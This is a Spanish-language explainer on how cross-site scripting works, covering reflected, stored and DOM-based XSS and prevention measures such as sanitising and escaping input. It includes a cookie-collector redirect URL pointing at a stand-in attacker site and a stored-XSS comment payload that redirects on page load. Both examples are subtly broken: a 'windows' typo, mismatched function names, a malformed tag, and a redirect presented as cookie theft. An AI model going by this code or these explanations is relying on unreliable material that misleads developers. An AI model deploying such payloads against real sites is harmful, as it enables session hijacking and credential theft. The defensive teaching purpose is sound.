Cómo los piratas informáticos utilizan secuencias de comandos entre sitios para romper sitios web y robar datos
Las secuencias de comandos entre sitios o XSS pueden ser un ataque potente y rápido. Como desarrollador, incluso puede tomarlo por un error en su código y terminar buscando errores que no existen.
Como cliente que usa el sitio web vulnerable, también puede divulgar inocentemente información vital sobre su acceso de autenticación al atacante.
Entonces, ¿qué es la secuencia de comandos entre sitios? ¿Cómo pueden usarlo los piratas informáticos para ingresar a un sitio web y robar sus datos? ¿Y cómo se puede mitigar ese riesgo?
¿Qué es la secuencia de comandos entre sitios?
La secuencia de comandos entre sitios o XSS ocurre si la secuencia de comandos de un sitio web malicioso interactúa con el código de uno vulnerable.
Pero los servidores están conectados de tal manera que evitan que personas sin autenticación accedan y editen el código fuente de su sitio web.
Internet utiliza la Política del mismo origen (SOP) para bloquear las interacciones entre sitios. Sin embargo, SOP comprueba tres lagunas de seguridad importantes e intenta mitigarlas. Son:
- Política de protocolo de Internet que comprueba si ambos sitios web entregan contenido en SSL seguro (HTTPS) o en una URL insegura (HTTP).
- La misma política de alojamiento web, que garantiza que aloja ambos sitios web en el mismo dominio.
- La política de puertos que comprueba si ambos sitios web utilizan puntos finales de comunicación similares.
SOP sostiene que si alguna de estas políticas es diferente para dos sitios web, no pueden leer ni intercambiar datos en la web.
Pero JavaScript es un lenguaje manipulador que determina la capacidad de respuesta de un sitio web. Si bien es muy probable que el JavaScript de su sitio web esté en un archivo separado, también puede crear una etiqueta de secuencia de comandos y escribirla en su Modelo de objetos de documento (DOM).
Por tanto, un atacante XSS podría pensar: "si puede escribir JavaScript en un DOM, en última instancia, puede ejecutarlo en cualquier editor de código o campo de entrada que acepte etiquetas HTML".
Tal vulnerabilidad y probabilidad es lo que busca un atacante que usa XSS en un sitio web objetivo. Una vez que encuentran tal laguna jurídica, pueden pasar por alto el SOP.
XSS, por lo tanto, es un ataque que utilizan los secuestradores para inyectar un script que realiza una acción maliciosa en un sitio web vulnerable. El script puede apuntar a formularios no protegidos o campos de entrada que aceptan datos.
Cómo funciona y tipos de secuencias de comandos entre sitios, con ejemplos
XSS puede ser una ejecución rápida de un script reflejado o temporal que un atacante coloca en formularios como campos de búsqueda. También puede ser molesto o persistente inyectado en la base de datos. O podría aparecer de forma pasiva después de la carga de una página.
En algunos casos, este script también puede cambiar la entrada original de una víctima para desviar su intención. Un cambio persistente en las entradas de un usuario como este es un XSS mutante.
En cualquier forma que se presente, el objetivo de un ataque XSS es robar los datos de una víctima a través de cookies y registros expuestos.
Veamos una breve explicación de cada uno de estos tipos de ataques XSS y sus ejemplos para comprender cuáles son.
¿Qué es un XSS reflejado?
Un XSS reflejado o temporal es una inyección directa de JavaScript en el campo de entrada de un usuario. Se dirige a solicitudes que obtienen datos de la base de datos, como resultados de búsqueda. Pero es un ataque de un solo cliente y objetivo.
Durante un XSS reflejado, un atacante inserta un script en el término de búsqueda de una víctima objetivo. Dicho JavaScript puede ser un eco, una redirección o un recopilador de cookies.
La secuencia de comandos inyectada en el campo de entrada de búsqueda se ejecuta tan pronto como un cliente de destino envía su consulta.
Por ejemplo, durante la búsqueda de un usuario, un atacante podría insertar un JavaScript que se hace eco de un formulario, solicitando que la víctima ingrese su contraseña o nombre de usuario. Una vez que el usuario hace esto, podría terminar enviando sus credenciales sin saberlo a un atacante, pensando que es una solicitud del sitio original.
A veces, el atacante también puede usar un script para redirigir a un usuario de la página vulnerable a su página. Allí, en la página del atacante, un usuario desprevenido puede ser engañado para que envíe algunos formularios, lo que lleva a la filtración de credenciales.
Del mismo modo, si el objetivo es robar la sesión de un usuario, el atacante inyecta un script de recopilación de cookies en el término de búsqueda del usuario. Luego secuestran la sesión actual del usuario, roban información relevante y se hacen cargo de las actividades de la víctima.
El siguiente ataque XSS de ejemplo roba la cookie de un usuario a través de una solicitud GET:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
En el ejemplo de XSS anterior, el atacante encuentra una laguna en el sitio web vulnerable. Entonces, cuando un usuario busca un recurso no disponible en el sitio vulnerable, lo redirige a la página del atacante. El atacante luego toca la cookie del usuario actual y toma su sesión.
Sin embargo, esta vulnerabilidad es común cuando la acción de consulta de un sitio no se filtra para verificar las inyecciones de scripts a través de HTML.
Pero incluso si hay una consulta filtrada, un atacante puede evitarlo recurriendo a medidas desesperadas como enviar enlaces a posibles usuarios en tiempo real de un sitio web. Pueden hacer esto utilizando cualquier forma de ingeniería social disponible para ellos.
Una vez que las víctimas hacen clic en dicho enlace, el secuestrador ahora puede ejecutar con éxito el ataque XSS y robar datos relevantes de la víctima.
Las secuencias de comandos entre sitios persistentes o almacenadas
El XSS almacenado presenta más amenazas. En este caso, un atacante almacena el script en la base de datos de un sitio web, lo que desencadena una ejecución persistente del script almacenado. El código almacenado puede ejecutarse al cargar la página o después de cargarla.
A diferencia de la forma temporal de XSS, un XSS almacenado se dirige a toda la base de usuarios del sitio web vulnerable. Además de eso, también apunta a la integridad del sitio web afectado.
Durante un XSS persistente, un atacante utiliza campos de entrada como formularios de comentarios para publicar el script en la base de datos de un sitio web.
Pero, ¿qué pasa si protege los campos POST con tokens CSRF? Desafortunadamente, las secuencias de comandos de sitios cruzados almacenadas omiten las comprobaciones CSRF.
Eso es porque el atacante envía un formulario como cualquier otro usuario del sitio web. Entonces, dicho formulario de comentarios envía el script a la base de datos como lo hace con todos los demás comentarios.
Un ataque de este tipo puede ocurrir cuando los campos de entrada de un sitio web no utilizan los desinfectantes adecuados para escapar de los scripts y las etiquetas HTML.
Imagine un usuario que publica el siguiente script mediante un formulario de comentarios web:
<body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>
Cuando un atacante inserta un código como ese en la base de datos de un sitio web, sigue redireccionando a la víctima al sitio web del atacante cuando se carga la página. El script también podría ser una alerta, un cuadro modal interactivo o un anuncio malicioso incorporado.
Debido a que la secuencia de comandos redirige al cargar la página, una víctima que no esté familiarizada con el sitio web vulnerable puede no darse cuenta de la redirección.
Luego continúan interactuando con el sitio web del atacante. Sin embargo, el secuestrador puede utilizar varios medios para obtener información de las víctimas una vez que están en su página web.
¿Qué es un DOM o XSS pasivo?
Un XSS basado en DOM ejecuta un código malicioso incrustado en el sitio web, lo que obliga a todo el DOM del lado del cliente a comportarse de manera inusual.
Mientras que el XSS almacenado y reflejado se dirige a las solicitudes del lado del servidor en un sitio web, un XSS DOM se dirige a las actividades en tiempo de ejecución. Funciona insertando un script en el componente de un sitio web que realiza una tarea específica. Ese componente no ejecuta una acción del lado del servidor.
Sin embargo, el script insertado en dicho componente cambia su intención por completo. Si este componente realiza una tarea relacionada con DOM, como las que cambian los elementos de un sitio web, el script puede forzar el cambio de toda la página web.
En el peor de los casos, un XSS basado en DOM puede imitar un error. Eso es porque la página web se vuelve inusualmente reactiva.
Cómo prevenir el ataque de secuencias de comandos entre sitios
Una vulnerabilidad XSS proviene del uso inadecuado de las mejores prácticas de backend. Por lo tanto, la prevención de un ataque de secuencias de comandos entre sitios suele ser responsabilidad del desarrollador. Pero los usuarios también tienen un papel que desempeñar.
El uso de un token CSFR para los campos de entrada no parece una solución a los ataques XSS. Y dado que este ataque también pasa por alto la Política del mismo origen, los desarrolladores deben tener cuidado de no omitir las prácticas de seguridad que impiden XSS.
Las siguientes medidas preventivas son útiles para los desarrolladores.
Desinfectar campos de entrada
Para evitar XSS almacenado y temporal, debe usar desinfectantes eficientes para los campos de entrada. La desinfección de las consultas de búsqueda, por ejemplo, evita la inserción de etiquetas en los términos de búsqueda de los usuarios.
Use Unicode y HTML Auto Escape
Es útil utilizar el escape automático HTML y Unicode para evitar que los campos de entrada, como los formularios de comentarios y conversiones, acepten scripts y etiquetas HTML. El escape automático es una potente medida preventiva contra XSS almacenado o persistente.
Filtrar etiquetas específicas hacia fuera
Permitir a los usuarios insertar etiquetas en formularios de comentarios es una mala idea para cualquier sitio web. Es una brecha de seguridad. Sin embargo, si debe permitir eso, solo debe aceptar etiquetas que no presenten amenazas XSS.
Utilice la validación de entrada adecuada
Incluso si bloquea las etiquetas por completo, un atacante aún puede llevar a cabo un ataque XSS a través de medios sociales. Pueden enviar correos electrónicos en lugar de colocar cualquier cosa directamente en el sitio web vulnerable.
Entonces, otro método para prevenirlo es validar las entradas de manera eficiente. Estas medidas incluyen validar protocolos y garantizar que su sitio web solo acepte entradas de HTTPS seguro y no de HTTP.
El uso de bibliotecas de JavaScript dedicadas como dompurify también puede ayudar a bloquear las brechas de seguridad relacionadas con XSS.
Puede utilizar herramientas como XSS Scanner o GEEKFLARE para buscar vulnerabilidades XSS en su sitio web.
Cómo los usuarios pueden prevenir XSS
En la actualidad, existen millones de sitios web en Internet. Por lo tanto, difícilmente puede saber cuál tiene problemas de seguridad XSS.
Sin embargo, como usuario, debe asegurarse de estar familiarizado con cualquier servicio web antes de usarlo. Si una página web se vuelve repentinamente espeluznante o comienza a comportarse de manera inusual, esto puede ser una señal de alerta.
Cualquiera que sea el caso, tenga cuidado de no revelar datos personales a un tercero que no sea de confianza. Luego, esté atento a los correos electrónicos no solicitados o publicaciones sospechosas en las redes sociales que puedan resultar en cualquier forma de ataques de phishing .
Ningún método preventivo único se adapta a todos
Hemos visto cómo se ve un ataque XSS y cómo prevenirlo. Es fácil olvidar los controles de seguridad XSS durante el desarrollo. Por lo tanto, los desarrolladores deben tomar medidas para garantizar que no se omita la protección. Sin embargo, una combinación de las medidas preventivas que enumeramos anteriormente funciona mejor.